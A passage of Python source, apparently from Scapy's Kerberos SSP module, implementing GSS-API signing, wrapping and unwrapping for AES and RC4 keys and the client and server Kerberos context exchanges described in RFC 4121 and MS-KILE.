\"RecvSealKeyUsage\",\n            \"RecvSignKeyUsage\",\n            # server-only\n            \"UPN\",\n            \"PAC\",\n        ]\n\n        def __init__(self, IsAcceptor, req_flags=None):\n            self.state = KerberosSSP.STATE.INIT\n            self.SessionKey = None\n            self.ServerHostname = None\n            self.U2U = False\n            self.SendSeqNum = 0\n            self.RecvSeqNum = 0\n            self.KrbSessionKey = None\n            self.ST = None\n            self.STSessionKey = None\n            self.IsAcceptor = IsAcceptor\n            self.UPN = None\n            self.PAC = None\n            # [RFC 4121] sect 2\n            if IsAcceptor:\n                self.SendSealKeyUsage = 22\n                self.SendSignKeyUsage = 23\n                self.RecvSealKeyUsage = 24\n                self.RecvSignKeyUsage = 25\n            else:\n                self.SendSealKeyUsage = 24\n                self.SendSignKeyUsage = 25\n                self.RecvSealKeyUsage = 22\n                self.RecvSignKeyUsage = 23\n            super(KerberosSSP.CONTEXT, self).__init__(req_flags=req_flags)\n\n        def clifailure(self):\n            self.__init__(self.IsAcceptor, req_flags=self.flags)\n\n        def __repr__(self):\n            if self.U2U:\n                return \"KerberosSSP-U2U\"\n            return \"KerberosSSP\"\n\n    def __init__(\n        self,\n        ST=None,\n        UPN=None,\n        PASSWORD=None,\n        U2U=False,\n        KEY=None,\n        SPN=None,\n        TGT=None,\n        DC_IP=None,\n        SKEY_TYPE=None,\n        debug=0,\n        **kwargs,\n    ):\n        import scapy.libs.rfc3961  # Trigger error if any  # noqa: F401\n\n        self.ST = ST\n        self.UPN = UPN\n        self.KEY = KEY\n        self.SPN = SPN\n        self.TGT = TGT\n        self.TGTSessionKey = None\n        self.PASSWORD = PASSWORD\n        self.U2U = U2U\n        self.DC_IP = DC_IP\n        self.debug = debug\n        if SKEY_TYPE is None:\n            SKEY_TYPE = EncryptionType.AES128_CTS_HMAC_SHA1_96\n        self.SKEY_TYPE = SKEY_TYPE\n        super(KerberosSSP, self).__init__(**kwargs)\n\n    def GSS_Inquire_names_for_mech(self):\n        mechs = [\n            \"1.2.840.48018.1.2.2\",  # MS KRB5 - Microsoft Kerberos 5\n            \"1.2.840.113554.1.2.2\",  # Kerberos 5\n        ]\n        if self.U2U:\n            mechs.append(\"1.2.840.113554.1.2.2.3\")  # Kerberos 5 - User to User\n        return mechs\n\n    def GSS_GetMICEx(self, Context, msgs, qop_req=0):\n        \"\"\"\n        [MS-KILE] sect 3.4.5.6\n\n        - AES: RFC4121 sect 4.2.6.1\n        \"\"\"\n        if Context.KrbSessionKey.etype in [17, 18]:  # AES\n            # Concatenate the ToSign\n            ToSign = b\"\".join(x.data for x in msgs if x.sign)\n            sig = KRB_InnerToken(\n                TOK_ID=b\"\\x04\\x04\",\n                root=KRB_GSS_MIC(\n                    Flags=\"AcceptorSubkey\"\n                    + (\"+SentByAcceptor\" if Context.IsAcceptor else \"\"),\n                    SND_SEQ=Context.SendSeqNum,\n                ),\n            )\n            ToSign += bytes(sig)[:16]\n            sig.root.SGN_CKSUM = Context.KrbSessionKey.make_checksum(\n                keyusage=Context.SendSignKeyUsage,\n                text=ToSign,\n            )\n        else:\n            raise NotImplementedError\n        Context.SendSeqNum += 1\n        return sig\n\n    def GSS_VerifyMICEx(self, Context, msgs, signature):\n        \"\"\"\n        [MS-KILE] sect 3.4.5.7\n\n        - AES: RFC4121 sect 4.2.6.1\n        \"\"\"\n        Context.RecvSeqNum = signature.root.SND_SEQ\n        if Context.KrbSessionKey.etype in [17, 18]:  # AES\n            # Concatenate the ToSign\n            ToSign = b\"\".join(x.data for x in msgs if x.sign)\n            ToSign += bytes(signature)[:16]\n            sig = Context.KrbSessionKey.make_checksum(\n                keyusage=Context.RecvSignKeyUsage,\n                text=ToSign,\n            )\n        else:\n            raise NotImplementedError\n        if sig != signature.root.SGN_CKSUM:\n            raise ValueError(\"ERROR: Checksums don't match\")\n\n    def GSS_WrapEx(self, Context, msgs, qop_req: GSS_QOP_REQ_FLAGS = 0):\n        \"\"\"\n        [MS-KILE] sect 3.4.5.4\n\n        - AES: RFC4121 sect 4.2.6.2 and [MS-KILE] sect 3.4.5.4.1\n        - HMAC-RC4: RFC4757 sect 7.3 and [MS-KILE] sect 3.4.5.4.1\n        \"\"\"\n        # Is confidentiality in use?\n        confidentiality = (Context.flags & GSS_C_FLAGS.GSS_C_CONF_FLAG) and any(\n            x.conf_req_flag for x in msgs\n        )\n        if Context.KrbSessionKey.etype in [17, 18]:  # AES\n            # Build token\n            tok = KRB_InnerToken(\n                TOK_ID=b\"\\x05\\x04\",\n                root=KRB_GSS_Wrap(\n                    Flags=\"AcceptorSubkey\"\n                    + (\"+SentByAcceptor\" if Context.IsAcceptor else \"\")\n                    + (\"+Sealed\" if confidentiality else \"\"),\n                    SND_SEQ=Context.SendSeqNum,\n                    RRC=0,\n                ),\n            )\n            Context.SendSeqNum += 1\n            # Real separation starts now: RFC4121 sect 4.2.4\n            if confidentiality:\n                # Confidentiality is requested (see RFC4121 sect 4.3)\n                # {\"header\" | encrypt(plaintext-data | filler | \"header\")}\n                # 0. Roll confounder\n                Confounder = os.urandom(Context.KrbSessionKey.ep.blocksize)\n                # 1. Concatenate the data to be encrypted\n                Data = b\"\".join(x.data for x in msgs if x.conf_req_flag)\n                DataLen = len(Data)\n                # 2. Add filler\n                if qop_req & GSS_QOP_REQ_FLAGS.GSS_S_NO_SECBUFFER_PADDING:\n                    # Special case for compatibility with Windows API. See\n                    # GSS_QOP_REQ_FLAGS.\n                    tok.root.EC = 0\n                else:\n                    # [MS-KILE] sect 3.4.5.4.1 - \"For AES-SHA1 ciphers, the EC must not\n                    # be zero\"\n                    tok.root.EC = (\n                        (-DataLen) % Context.KrbSessionKey.ep.blocksize\n                    ) or 16\n                Filler = b\"\\x00\" * tok.root.EC\n                Data += Filler\n                # 3. Add first 16 octets of the Wrap token \"header\"\n                PlainHeader = bytes(tok)[:16]\n                Data += PlainHeader\n                # 4. Build 'ToSign', exclusively used for checksum\n                ToSign = Confounder\n                ToSign += b\"\".join(x.data for x in msgs if x.sign)\n                ToSign += Filler\n                ToSign += PlainHeader\n                # 5. Finalize token for signing\n                # \"The RRC field is [...] 28 if encryption is requested.\"\n                tok.root.RRC = 28\n                # 6. encrypt() is the encryption operation (which provides for\n                # integrity protection)\n                Data = Context.KrbSessionKey.encrypt(\n                    keyusage=Context.SendSealKeyUsage,\n                    plaintext=Data,\n                    confounder=Confounder,\n                    signtext=ToSign,\n                )\n                # 7. Rotate\n                Data = strrot(Data, tok.root.RRC + tok.root.EC)\n                # 8. Split (token and encrypted messages)\n                toklen = len(Data) - DataLen\n                tok.root.Data = Data[:toklen]\n                offset = toklen\n                for msg in msgs:\n                    msglen = len(msg.data)\n                    if msg.conf_req_flag:\n                        msg.data = Data[offset : offset + msglen]\n                        offset += msglen\n                return msgs, tok\n            else:\n                # No confidentiality is requested\n                # {\"header\" | plaintext-data | get_mic(plaintext-data | \"header\")}\n                # 0. Concatenate the data\n                Data = b\"\".join(x.data for x in msgs if x.sign)\n                DataLen = len(Data)\n                # 1. Add first 16 octets of the Wrap token \"header\"\n                ToSign = Data\n                ToSign += bytes(tok)[:16]\n                # 2. get_mic() is the checksum operation for the required\n                # checksum mechanism\n                Mic = Context.KrbSessionKey.make_checksum(\n                    keyusage=Context.SendSealKeyUsage,\n                    text=ToSign,\n                )\n                # In Wrap tokens without confidentiality, the EC field SHALL be used\n                # to encode the number of octets in the trailing checksum\n                tok.root.EC = 12  # len(tok.root.Data) == 12 for AES\n                # \"The RRC field ([RFC4121] section 4.2.5) is 12 if no encryption\n                # is requested\"\n                tok.root.RRC = 12\n                # 3. Concat and pack\n                for msg in msgs:\n                    if msg.sign:\n                        msg.data = b\"\"\n                Data = Data + Mic\n                # 4. Rotate\n                tok.root.Data = strrot(Data, tok.root.RRC)\n                return msgs, tok\n        elif Context.KrbSessionKey.etype in [23, 24]:  # RC4\n            # Build token\n            seq = struct.pack(\">I\", Context.SendSeqNum)\n            tok = KRB_InnerToken(\n                TOK_ID=b\"\\x02\\x01\",\n                root=KRB_GSS_Wrap_RFC1964(\n                    SGN_ALG=\"HMAC\",\n                    SEAL_ALG=\"RC4\" if confidentiality else \"none\",\n                    SND_SEQ=seq\n                    + (\n                        # See errata\n                        b\"\\xff\\xff\\xff\\xff\"\n                        if Context.IsAcceptor\n                        else b\"\\x00\\x00\\x00\\x00\"\n                    ),\n                ),\n            )\n            Context.SendSeqNum += 1\n            # 0. Concatenate data\n            ToSign = _rfc1964pad(b\"\".join(x.data for x in msgs if x.sign))\n            ToEncrypt = b\"\".join(x.data for x in msgs if x.conf_req_flag)\n            Kss = Context.KrbSessionKey.key\n            # 1. Roll confounder\n            Confounder = os.urandom(8)\n            # 2. Compute the 'Kseq' key\n            Klocal = strxor(Kss, len(Kss) * b\"\\xf0\")\n            if Context.KrbSessionKey.etype == 24:  # EXP\n                Kcrypt = Hmac_MD5(Klocal).digest(b\"fortybits\\x00\" + b\"\\x00\\x00\\x00\\x00\")\n                Kcrypt = Kcrypt[:7] + b\"\\xab\" * 9\n            else:\n                Kcrypt = Hmac_MD5(Klocal).digest(b\"\\x00\\x00\\x00\\x00\")\n            Kcrypt = Hmac_MD5(Kcrypt).digest(seq)\n            # 3. Build SGN_CKSUM\n            tok.root.SGN_CKSUM = Context.KrbSessionKey.make_checksum(\n                keyusage=13,  # See errata\n                text=bytes(tok)[:8] + Confounder + ToSign,\n            )[:8]\n            # 4. Populate token + encrypt\n            if confidentiality:\n                # 'encrypt' is requested\n                rc4 = Cipher(decrepit_algorithms.ARC4(Kcrypt), mode=None).encryptor()\n                tok.root.CONFOUNDER = rc4.update(Confounder)\n                Data = rc4.update(ToEncrypt)\n                # Split encrypted data\n                offset = 0\n                for msg in msgs:\n                    msglen = len(msg.data)\n                    if msg.conf_req_flag:\n                        msg.data = Data[offset : offset + msglen]\n                        offset += msglen\n            else:\n                # 'encrypt' is not requested\n                tok.root.CONFOUNDER = Confounder\n            # 5. Compute the 'Kseq' key\n            if Context.KrbSessionKey.etype == 24:  # EXP\n                Kseq = Hmac_MD5(Kss).digest(b\"fortybits\\x00\" + b\"\\x00\\x00\\x00\\x00\")\n                Kseq = Kseq[:7] + b\"\\xab\" * 9\n            else:\n                Kseq = Hmac_MD5(Kss).digest(b\"\\x00\\x00\\x00\\x00\")\n            Kseq = Hmac_MD5(Kseq).digest(tok.root.SGN_CKSUM)\n            # 6. Encrypt 'SND_SEQ'\n            rc4 = Cipher(decrepit_algorithms.ARC4(Kseq), mode=None).encryptor()\n            tok.root.SND_SEQ = rc4.update(tok.root.SND_SEQ)\n            # 7. Include 'InitialContextToken pseudo ASN.1 header'\n            tok = KRB_GSSAPI_Token(\n                MechType=\"1.2.840.113554.1.2.2\",  # Kerberos 5\n                innerToken=tok,\n            )\n            return msgs, tok\n        else:\n            raise NotImplementedError\n\n    def GSS_UnwrapEx(self, Context, msgs, signature):\n        \"\"\"\n        [MS-KILE] sect 3.4.5.5\n\n        - AES: RFC4121 sect 4.2.6.2\n        - HMAC-RC4: RFC4757 sect 7.3\n        \"\"\"\n        if Context.KrbSessionKey.etype in [17, 18]:  # AES\n            confidentiality = signature.root.Flags.Sealed\n            # Real separation starts now: RFC4121 sect 4.2.4\n            if confidentiality:\n                # 0. Concatenate the data\n                Data = signature.root.Data\n                Data += b\"\".join(x.data for x in msgs if x.conf_req_flag)\n                # 1. Un-Rotate\n                Data = strrot(Data, signature.root.RRC + signature.root.EC, right=False)\n\n                # 2. Function to build 'ToSign', exclusively used for checksum\n                def MakeToSign(Confounder, DecText):\n                    offset = 0\n                    # 2.a Confounder\n                    ToSign = Confounder\n                    # 2.b Messages\n                    for msg in msgs:\n                        msglen = len(msg.data)\n                        if msg.conf_req_flag:\n                            ToSign += DecText[offset : offset + msglen]\n                            offset += msglen\n                        elif msg.sign:\n                            ToSign += msg.data\n                    # 2.c Filler & Padding\n                    ToSign += DecText[offset:]\n                    return ToSign\n\n                # 3. Decrypt\n                Data = Context.KrbSessionKey.decrypt(\n                    keyusage=Context.RecvSealKeyUsage,\n                    ciphertext=Data,\n                    presignfunc=MakeToSign,\n                )\n                # 4. Split\n                Data, f16header = (\n                    Data[:-16],\n                    Data[-16:],\n                )\n                # 5. Check header\n                hdr = signature.copy()\n                hdr.root.RRC = 0\n                if f16header != bytes(hdr)[:16]:\n                    raise ValueError(\"ERROR: Headers don't match\")\n                # 6. Split (and ignore filler)\n                offset = 0\n                for msg in msgs:\n                    msglen = len(msg.data)\n                    if msg.conf_req_flag:\n                        msg.data = Data[offset : offset + msglen]\n                        offset += msglen\n                # Case without msgs\n                if len(msgs) == 1 and not msgs[0].data:\n                    msgs[0].data = Data\n                return msgs\n            else:\n                # No confidentiality is requested\n                # 0. Concatenate the data\n                Data = signature.root.Data\n                Data += b\"\".join(x.data for x in msgs if x.sign)\n                # 1. Un-Rotate\n                Data = strrot(Data, signature.root.RRC, right=False)\n                # 2. Split\n                Data, Mic = Data[: -signature.root.EC], Data[-signature.root.EC :]\n                # \"Both the EC field and the RRC field in\n                # the token header SHALL be filled with zeroes for the purpose of\n                # calculating the checksum.\"\n                ToSign = Data\n                hdr = signature.copy()\n                hdr.root.RRC = 0\n                hdr.root.EC = 0\n                # Concatenate the data\n                ToSign += bytes(hdr)[:16]\n                # 3. Calculate the signature\n                sig = Context.KrbSessionKey.make_checksum(\n                    keyusage=Context.RecvSealKeyUsage,\n                    text=ToSign,\n                )\n                # 4. Compare\n                if sig != Mic:\n                    raise ValueError(\"ERROR: Checksums don't match\")\n                # Case without msgs\n                if len(msgs) == 1 and not msgs[0].data:\n                    msgs[0].data = Data\n                return msgs\n        elif Context.KrbSessionKey.etype in [23, 24]:  # RC4\n            # Drop wrapping\n            tok = signature.innerToken\n\n            # Detect confidentiality\n            confidentiality = tok.root.SEAL_ALG != 0xFFFF\n\n            # 0. Concatenate data\n            ToDecrypt = b\"\".join(x.data for x in msgs if x.conf_req_flag)\n            Kss = Context.KrbSessionKey.key\n            # 1. Compute the 'Kseq' key\n            if Context.KrbSessionKey.etype == 24:  # EXP\n                Kseq = Hmac_MD5(Kss).digest(b\"fortybits\\x00\" + b\"\\x00\\x00\\x00\\x00\")\n                Kseq = Kseq[:7] + b\"\\xab\" * 9\n            else:\n                Kseq = Hmac_MD5(Kss).digest(b\"\\x00\\x00\\x00\\x00\")\n            Kseq = Hmac_MD5(Kseq).digest(tok.root.SGN_CKSUM)\n            # 2. Decrypt 'SND_SEQ'\n            rc4 = Cipher(decrepit_algorithms.ARC4(Kseq), mode=None).encryptor()\n            seq = rc4.update(tok.root.SND_SEQ)[:4]\n            # 3. Compute the 'Kcrypt' key\n            Klocal = strxor(Kss, len(Kss) * b\"\\xf0\")\n            if Context.KrbSessionKey.etype == 24:  # EXP\n                Kcrypt = Hmac_MD5(Klocal).digest(b\"fortybits\\x00\" + b\"\\x00\\x00\\x00\\x00\")\n                Kcrypt = Kcrypt[:7] + b\"\\xab\" * 9\n            else:\n                Kcrypt = Hmac_MD5(Klocal).digest(b\"\\x00\\x00\\x00\\x00\")\n            Kcrypt = Hmac_MD5(Kcrypt).digest(seq)\n            # 4. Decrypt\n            if confidentiality:\n                # 'encrypt' was requested\n                rc4 = Cipher(decrepit_algorithms.ARC4(Kcrypt), mode=None).encryptor()\n                Confounder = rc4.update(tok.root.CONFOUNDER)\n                Data = rc4.update(ToDecrypt)\n                # Split encrypted data\n                offset = 0\n                for msg in msgs:\n                    msglen = len(msg.data)\n                    if msg.conf_req_flag:\n                        msg.data = Data[offset : offset + msglen]\n                        offset += msglen\n            else:\n                # 'encrypt' was not requested\n                Confounder = tok.root.CONFOUNDER\n            # 5. Verify SGN_CKSUM\n            ToSign = _rfc1964pad(b\"\".join(x.data for x in msgs if x.sign))\n            Context.KrbSessionKey.verify_checksum(\n                keyusage=13,  # See errata\n                text=bytes(tok)[:8] + Confounder + ToSign,\n                cksum=tok.root.SGN_CKSUM,\n            )\n            return msgs\n        else:\n            raise NotImplementedError\n\n    def GSS_Init_sec_context(\n        self,\n        Context: CONTEXT,\n        input_token=None,\n        target_name: Optional[str] = None,\n        req_flags: Optional[GSS_C_FLAGS] = None,\n        chan_bindings: GssChannelBindings = GSS_C_NO_CHANNEL_BINDINGS,\n    ):\n        if Context is None:\n            # New context\n            Context = self.CONTEXT(IsAcceptor=False, req_flags=req_flags)\n\n        if Context.state == self.STATE.INIT and self.U2U:\n            # U2U - Get TGT\n            Context.state = self.STATE.CLI_SENT_TGTREQ\n            return (\n                Context,\n                KRB_GSSAPI_Token(\n                    MechType=\"1.2.840.113554.1.2.2.3\",  # U2U\n                    innerToken=KRB_InnerToken(\n                        TOK_ID=b\"\\x04\\x00\",\n                        root=KRB_TGT_REQ(),\n                    ),\n                ),\n                GSS_S_CONTINUE_NEEDED,\n            )\n\n        if Context.state in [self.STATE.INIT, self.STATE.CLI_SENT_TGTREQ]:\n            if not self.UPN:\n                raise ValueError(\"Missing UPN attribute\")\n\n            # Do we have a ST?\n            if self.ST is None:\n                # Client sends an AP-req\n                if not self.SPN and not target_name:\n                    raise ValueError(\"Missing SPN/target_name attribute\")\n                additional_tickets = []\n\n                if self.U2U:\n                    try:\n                        # GSSAPI / Kerberos\n                        tgt_rep = input_token.root.innerToken.root\n                    except AttributeError:\n                        try:\n                            # Kerberos\n                            tgt_rep = input_token.innerToken.root\n                        except AttributeError:\n                            return Context, None, GSS_S_DEFECTIVE_TOKEN\n                    if not isinstance(tgt_rep, KRB_TGT_REP):\n                        tgt_rep.show()\n                        raise ValueError(\"KerberosSSP: Unexpected input_token !\")\n                    additional_tickets = [tgt_rep.ticket]\n\n                if self.TGT is None:\n                    # Get TGT. We were passed a kerberos key\n                    res = krb_as_req(\n                        upn=self.UPN,\n                        ip=self.DC_IP,\n                        key=self.KEY,\n                        password=self.PASSWORD,\n                        debug=self.debug,\n                        verbose=bool(self.debug),\n                    )\n                    if res is None:\n                        # Failed to retrieve the ticket\n                        return Context, None, GSS_S_FAILURE\n\n                    # Update UPN (could have been canonicalized)\n                    self.UPN = res.upn\n\n                    # Store TGT,\n                    self.TGT = res.asrep.ticket\n                    self.TGTSessionKey = res.sessionkey\n                elif self.TGTSessionKey is None:\n                    # We have a TGT and were passed its key\n                    self.TGTSessionKey = self.KEY\n\n                # Get ST\n                if not self.TGTSessionKey:\n                    raise ValueError(\"Cannot use TGT without the KEY\")\n\n                res = krb_tgs_req(\n                    upn=self.UPN,\n                    spn=self.SPN or target_name,\n                    ip=self.DC_IP,\n                    sessionkey=self.TGTSessionKey,\n                    ticket=self.TGT,\n                    additional_tickets=additional_tickets,\n                    u2u=self.U2U,\n                    debug=self.debug,\n                    verbose=bool(self.debug),\n                )\n                if not res:\n                    # Failed to retrieve the ticket\n                    return Context, None, GSS_S_FAILURE\n\n                # Store the service ticket and associated key\n                Context.ST, Context.STSessionKey = res.tgsrep.ticket, res.sessionkey\n            elif not self.KEY:\n                raise ValueError(\"Must provide KEY with ST\")\n            else:\n                # We were passed a ST and its key\n                Context.ST = self.ST\n                Context.STSessionKey = self.KEY\n\n                if Context.flags & GSS_C_FLAGS.GSS_C_DELEG_FLAG:\n                    raise ValueError(\n                        \"Cannot use GSS_C_DELEG_FLAG when passed a service ticket !\"\n                    )\n\n            # Save ServerHostname\n            if len(Context.ST.sname.nameString) == 2:\n                Context.ServerHostname = Context.ST.sname.nameString[1].val.decode()\n\n            # Build the KRB-AP\n            apOptions = ASN1_BIT_STRING(\"000\")\n            if Context.flags & GSS_C_FLAGS.GSS_C_MUTUAL_FLAG:\n                apOptions.set(2, \"1\")  # mutual-required\n            if self.U2U:\n                apOptions.set(1, \"1\")  # use-session-key\n                Context.U2U = True\n            ap_req = KRB_AP_REQ(\n                apOptions=apOptions,\n                ticket=Context.ST,\n                authenticator=EncryptedData(),\n            )\n\n            # Get the current time\n            now_time = datetime.now(timezone.utc).replace(microsecond=0)\n            # Pick a random session key\n            Context.KrbSessionKey = Key.new_random_key(\n                self.SKEY_TYPE,\n            )\n\n            # We use a random SendSeqNum\n            Context.SendSeqNum = RandNum(0, 0x7FFFFFFF)._fix()\n\n            # Get the realm of the client\n            _, crealm = _parse_upn(self.UPN)\n\n            # Build the RFC4121 authenticator checksum\n            authenticator_checksum = KRB_AuthenticatorChecksum(\n                # RFC 4121 sect 4.1.1.2\n                # \"The Bnd field contains the MD5 hash of channel bindings\"\n                Bnd=(\n                    chan_bindings.digestMD5()\n                    if chan_bindings != GSS_C_NO_CHANNEL_BINDINGS\n                    else (b\"\\x00\" * 16)\n                ),\n                Flags=int(Context.flags),\n            )\n\n            if Context.flags & GSS_C_FLAGS.GSS_C_DELEG_FLAG:\n                # Delegate TGT\n                raise NotImplementedError(\"GSS_C_DELEG_FLAG is not implemented !\")\n                # authenticator_checksum.Deleg = KRB_CRED(\n                #     tickets=[self.TGT],\n                #     encPart=EncryptedData()\n                # )\n                # authenticator_checksum.encPart.encrypt(\n                #     Context.STSessionKey,\n                #     EncKrbCredPart(\n                #         ticketInfo=KrbCredInfo(\n                #             key=EncryptionKey.fromKey(self.TGTSessionKey),\n                #             prealm=ASN1_GENERAL_STRING(crealm),\n                #             pname=PrincipalName.fromUPN(self.UPN),\n                #             # TODO: rework API to pass starttime... here.\n                #             sreralm=self.TGT.realm,\n                #             sname=self.TGT.sname,\n                #         )\n                #     )\n                # )\n\n            # Build and encrypt the full KRB_Authenticator\n            ap_req.authenticator.encrypt(\n                Context.STSessionKey,\n                KRB_Authenticator(\n                    crealm=crealm,\n                    cname=PrincipalName.fromUPN(self.UPN),\n                    cksum=Checksum(\n                        cksumtype=\"KRB-AUTHENTICATOR\", checksum=authenticator_checksum\n                    ),\n                    ctime=ASN1_GENERALIZED_TIME(now_time),\n                    cusec=ASN1_INTEGER(0),\n                    subkey=EncryptionKey.fromKey(Context.KrbSessionKey),\n                    seqNumber=Context.SendSeqNum,\n                    encAuthorizationData=AuthorizationData(\n                        seq=[\n                            AuthorizationDataItem(\n                                adType=\"AD-IF-RELEVANT\",\n                                adData=AuthorizationData(\n                                    seq=[\n                                        AuthorizationDataItem(\n                                            adType=\"KERB-AUTH-DATA-TOKEN-RESTRICTIONS\",\n                                            adData=KERB_AD_RESTRICTION_ENTRY(\n                                                restriction=LSAP_TOKEN_INFO_INTEGRITY(\n                                                    MachineID=bytes(RandBin(32)),\n                                                    PermanentMachineID=bytes(\n                                                        RandBin(32)\n                                                    ),\n                                                )\n                                            ),\n                                        ),\n                                        # This isn't documented, but sent on Windows :/\n                                        AuthorizationDataItem(\n                                            adType=\"KERB-LOCAL\",\n                                            adData=b\"\\x00\" * 16,\n                                        ),\n                                    ]\n                                    + (\n                                        # Channel bindings\n                                        [\n                                            AuthorizationDataItem(\n                                                adType=\"AD-AUTH-DATA-AP-OPTIONS\",\n                                                adData=KERB_AUTH_DATA_AP_OPTIONS(\n                                                    apOptions=\"KERB_AP_OPTIONS_CBT\"\n                                                ),\n                                            )\n                                        ]\n                                        if chan_bindings != GSS_C_NO_CHANNEL_BINDINGS\n                                        else []\n                                    )\n                                ),\n                            )\n                        ]\n                    ),\n                ),\n            )\n            Context.state = self.STATE.CLI_SENT_APREQ\n            if Context.flags & GSS_C_FLAGS.GSS_C_DCE_STYLE:\n                # Raw kerberos DCE-STYLE\n                return Context, ap_req, GSS_S_CONTINUE_NEEDED\n            else:\n                # Kerberos wrapper\n                return (\n                    Context,\n                    KRB_GSSAPI_Token(\n                        innerToken=KRB_InnerToken(\n                            root=ap_req,\n                        )\n                    ),\n                    GSS_S_CONTINUE_NEEDED,\n                )\n\n        elif Context.state == self.STATE.CLI_SENT_APREQ:\n            if isinstance(input_token, KRB_AP_REP):\n                # Raw AP_REP was passed\n                ap_rep = input_token\n            else:\n                try:\n                    # GSSAPI / Kerberos\n                    ap_rep = input_token.root.innerToken.root\n                except AttributeError:\n                    try:\n                        # Kerberos\n                        ap_rep = input_token.innerToken.root\n                    except AttributeError:\n                        try:\n                            # Raw kerberos DCE-STYLE\n                            ap_rep = input_token.root\n                        except AttributeError:\n                            return Context, None, GSS_S_DEFECTIVE_TOKEN\n            if not isinstance(ap_rep, KRB_AP_REP):\n                return Context, None, GSS_S_DEFECTIVE_TOKEN\n\n            # Retrieve SessionKey\n            repPart = ap_rep.encPart.decrypt(Context.STSessionKey)\n            if repPart.subkey is not None:\n                Context.SessionKey = repPart.subkey.keyvalue.val\n                Context.KrbSessionKey = repPart.subkey.toKey()\n\n            # OK !\n            Context.state = self.STATE.CLI_RCVD_APREP\n            if Context.flags & GSS_C_FLAGS.GSS_C_DCE_STYLE:\n                # [MS-KILE] sect 3.4.5.1\n                # The client MUST generate an additional AP exchange reply message\n                # exactly as the server would as the final message to send to the\n                # server.\n                now_time = datetime.now(timezone.utc).replace(microsecond=0)\n                cli_ap_rep = KRB_AP_REP(encPart=EncryptedData())\n                cli_ap_rep.encPart.encrypt(\n                    Context.STSessionKey,\n                    EncAPRepPart(\n                        ctime=ASN1_GENERALIZED_TIME(now_time),\n                        seqNumber=repPart.seqNumber,\n                        subkey=None,\n                    ),\n                )\n                return Context, cli_ap_rep, GSS_S_COMPLETE\n            return Context, None, GSS_S_COMPLETE\n        elif (\n            Context.state == self.STATE.CLI_RCVD_APREP\n            and Context.flags & GSS_C_FLAGS.GSS_C_DCE_STYLE\n        ):\n            # DCE_STYLE with SPNEGOSSP\n            return Context, None, GSS_S_COMPLETE\n        else:\n            raise ValueError(\"KerberosSSP: Unknown state\")\n\n    def GSS_Accept_sec_context(\n        self,\n        Context: CONTEXT,\n        input_token=None,\n        req_flags: Optional[GSS_S_FLAGS] = GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS,\n        chan_bindings: GssChannelBindings = GSS_C_NO_CHANNEL_BINDINGS,\n    ):\n        if Context is None:\n            # New context\n            Context = self.CONTEXT(IsAcceptor=True, req_flags=req_flags)\n\n        import scapy.layers.msrpce.mspac  # noqa: F401\n\n        if Context.state == self.STATE.INIT:\n            if self.UPN and self.SPN:\n                raise ValueError(\"Cannot use SPN and UPN at the same time !\")\n            if self.SPN and self.TGT:\n                raise ValueError(\"Cannot use TGT with SPN.\")\n            if self.UPN and not self.TGT:\n                # UPN is provided: use U2U\n                res = krb_as_req(\n                    self.UPN,\n                    self.DC_IP,\n                    key=self.KEY,\n                    password=self.PASSWORD,\n                )\n                self.TGT, self.TGTSessionKey = res.asrep.ticket, res.sessionkey\n\n            # Server receives AP-req, sends AP-rep\n            if isinstance(input_token, KRB_AP_REQ):\n                # Raw AP_REQ was passed\n                ap_req = input_token\n            else:\n                try:\n                    # GSSAPI/Kerberos\n                    ap_req = input_token.root.innerToken.root\n                except AttributeError:\n                    try:\n                        # Kerberos\n                        ap_req = input_token.innerToken.root\n                    except AttributeError:\n                        try:\n                            # Raw kerberos\n                            ap_req = input_token.root\n                        except AttributeError:\n                            return Context, None, GSS_S_DEFECTIVE_TOKEN\n\n            if isinstance(ap_req, KRB_TGT_REQ):\n                # Special U2U case\n                Context.U2U = True\n                return (\n                    None,\n                    KRB_GSSAPI_Token(\n                        MechType=\"1.2.840.113554.1.2.2.3\",  # U2U\n                        innerToken=KRB_InnerToken(\n                            TOK_ID=b\"\\x04\\x01\",\n                            root=KRB_TGT_REP(\n                                ticket=self.TGT,\n                            ),\n                        ),\n                    ),\n                    GSS_S_CONTINUE_NEEDED,\n                )\n            elif not isinstance(ap_req, KRB_AP_REQ):\n                ap_req.show()\n                raise ValueError(\"Unexpected type in KerberosSSP\")\n            if not self.KEY:\n                raise ValueError(\"Missing KEY attribute\")\n\n            now_time = datetime.now(timezone.utc).replace(microsecond=0)\n\n            # If using a UPN, require U2U\n            if self.UPN and ap_req.apOptions.val[1] != \"1\":  # use-session-key\n                # Required but not provided. Return an error\n                Context.U2U = True\n                err = KRB_GSSAPI_Token(\n                    innerToken=KRB_InnerToken(\n                        TOK_ID=b\"\\x03\\x00\",\n                        root=KRB_ERROR(\n                            errorCode=\"KRB_AP_ERR_USER_TO_USER_REQUIRED\",\n                            stime=ASN1_GENERALIZED_TIME(now_time),\n                            realm=ap_req.ticket.realm,\n                            sname=ap_req.ticket.sname,\n                            eData=KRB_TGT_REP(\n                                ticket=self.TGT,\n                            ),\n                        ),\n                    )\n                )\n                return Context, err, GSS_S_CONTINUE_NEEDED\n\n            # Validate the 'serverName' of the ticket.\n            sname = ap_req.ticket.getSPN()\n            our_sname = self.SPN or self.UPN\n            if not _spn_are_equal(our_sname, sname):\n                warning(\"KerberosSSP: bad server name: %s != %s\" % (sname, our_sname))\n                err = KRB_GSSAPI_Token(\n                    innerToken=KRB_InnerToken(\n                        TOK_ID=b\"\\x03\\x00\",\n                        root=KRB_ERROR(\n                            errorCode=\"KRB_AP_ERR_BADMATCH\",\n                            stime=ASN1_GENERALIZED_TIME(now_time),\n                            realm=ap_req.ticket.realm,\n                            sname=ap_req.ticket.sname,\n                            eData=None,\n                        ),\n                    )\n                )\n                return Context, err, GSS_S_BAD_MECH\n\n            # Decrypt the ticket\n            try:\n                tkt = ap_req.ticket.encPart.decrypt(self.KEY)\n            except ValueError as ex:\n                warning(\"KerberosSSP: %s (bad KEY?)\" % ex)\n                err = KRB_GSSAPI_Token(\n                    innerToken=KRB_InnerToken(\n                        TOK_ID=b\"\\x03\\x00\",\n                        root=KRB_ERROR(\n                            errorCode=\"KRB_AP_ERR_MODIFIED\",\n                            stime=ASN1_GENERALIZED_TIME(now_time),\n                            realm=ap_req.ticket.realm,\n                            sname=ap_req.ticket.sname,\n                            eData=None,\n                        ),\n                    )\n                )\n                return Context, err, GSS_S_DEFECTIVE_CREDENTIAL\n\n            # Store information about the user in the Context\n            if tkt.authorizationData and tkt.authorizationData.seq:\n                # Get 